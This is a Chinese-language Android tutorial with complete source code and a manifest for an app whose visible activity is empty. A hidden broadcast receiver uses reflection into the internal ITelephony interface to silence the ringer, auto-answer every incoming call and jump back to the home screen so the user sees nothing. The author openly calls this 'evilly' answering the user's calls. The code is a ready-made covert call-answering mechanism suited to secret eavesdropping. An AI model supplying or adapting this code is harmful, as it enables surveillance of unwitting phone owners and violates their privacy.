Android電話的反射調用機制實現靜默接聽電話 – Android移動開發技術文章_手機開發 Android移動開發教學課程

 

首先 建一個工程

insertTel

建一個com.Android.internal.telephony的包

把系統的源碼裡的ITelephony.aidl拷貝進來

如下

}

 

然後建一個包

zy.phone

下面做反射調用

PhoneUtils.java

package zy.phone; 

 

import java.lang.reflect.Field; 

import java.lang.reflect.Method; 

import Android.telephony.TelephonyManager; 

import Android.util.Log; 

 

public class PhoneUtils { 

    /**

     * 從TelephonyManager中實例化ITelephony,並返回

     */ 

    static public com.Android.internal.telephony.ITelephony getITelephony(TelephonyManager telMgr) throws Exception { 

        Method getITelephonyMethod = telMgr.getClass().getDeclaredMethod("getITelephony"); 

        getITelephonyMethod.setAccessible(true);//私有化函數也能使用 

        return (com.Android.internal.telephony.ITelephony)getITelephonyMethod.invoke(telMgr); 

    } 

     

    static public void printAllInform(Class clsShow) {   

        try {   

            // 取得所有方法   

            Method[] hideMethod = clsShow.getDeclaredMethods();   

            int i = 0;   

            for (; i < hideMethod.length; i++) {   

                Log.e("method name", hideMethod[i].getName());   

            }   

            // 取得所有常量   

            Field[] allFields = clsShow.getFields();   

            for (i = 0; i < allFields.length; i++) {   

                Log.e("Field name", allFields[i].getName());   

            }   

        } catch (SecurityException e) {   

            // throw new RuntimeException(e.getMessage());   

            e.printStackTrace();   

        } catch (IllegalArgumentException e) {   

            // throw new RuntimeException(e.getMessage());   

            e.printStackTrace();   

        } catch (Exception e) {   

            // TODO Auto-generated catch block   

            e.printStackTrace();   

        }   

    }   

}

然後用一個BroadcastReceiver監聽電話

邪惡地用接電話接用戶電話

tp.java

package zy.phone;

import java.util.Timer;

import java.util.TimerTask;

import Android.app.Service;

import Android.content.BroadcastReceiver;

import Android.content.Context;

import Android.content.Intent;

import Android.os.RemoteException;

import Android.telephony.TelephonyManager;

import Android.util.Log;

public class tp extends BroadcastReceiver {

 Context mcontext;

 TimerTask task = new TimerTask() {

  public void run() {

   Intent i = new Intent(Intent.ACTION_MAIN);

   i.addCategory(Intent.CATEGORY_HOME);

   i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

   mcontext.startActivity(i);

   Log.i("bbb", "bbb");

  }

 };

 @Override

 public void onReceive(Context context, Intent intent) {

  // TODO Auto-generated method stub

  mcontext = context;

  TelephonyManager tm = (TelephonyManager) context

    .getSystemService(Service.TELEPHONY_SERVICE);

  switch (tm.getCallState()) {

  case TelephonyManager.CALL_STATE_RINGING:// 來電響鈴

   try {

   // String phoneNumber = intent.getStringExtra("incoming_number");

   

     PhoneUtils.getITelephony(tm).silenceRinger();// 靜鈴

     PhoneUtils.getITelephony(tm).answerRingingCall();// 自動接聽

     Timer timer = new Timer();

     timer.schedule(task, 300);

   

   } catch (RemoteException e) {

    // TODO Auto-generated catch block

    e.printStackTrace();

   } catch (Exception e) {

    // TODO Auto-generated catch block

    e.printStackTrace();

   }// 掛斷

   break;// 響鈴

  case TelephonyManager.CALL_STATE_OFFHOOK: // 來電接通 去電撥出

   break;// 摘機

  case TelephonyManager.CALL_STATE_IDLE: // 來去電電話掛斷

   break;// 掛機

  }

 }

}

這樣就對所有電話都接瞭

然後主包就是一個什麼都沒有的測試Activity

包zy.test

test.java

package zy.test;

import Android.app.Activity;

import Android.os.Bundle;

public class test extends Activity {

    /** Called when the activity is first created. */

    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.main);

    }

}

最後記得再AndroidManifest.xml裡加上BroadcastReceiver和權限聲明

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:Android="https://schemas.android.com/apk/res/android"

      package="zy.test"

      Android:versionCode="1"

      Android:versionName="1.0">

    <application Android:icon="@drawable/icon" android:label="@string/app_name">

        <activity Android:name=".test"

                  Android:label="@string/app_name">

            <intent-filter>

                <action Android:name="android.intent.action.MAIN" />

                <category Android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

  <receiver Android:name="zy.phone.tp"  android:priority="10000" android:permission="android.permission.READ_PHONE_STATE">

   <intent-filter>

    <action Android:name="android.intent.action.PHONE_STATE" />

   </intent-filter>

  </receiver>

 

 </application>

  <uses-sdk Android:minSdkVersion="3" />

 

 <uses-permission Android:name="android.permission.INTERNET"/>

 <uses-permission Android:name="android.permission.MODIFY_PHONE_STATE" /> 

   

</manifest>

OK 大功告成

試試現在電話都將被接聽,沒有反應
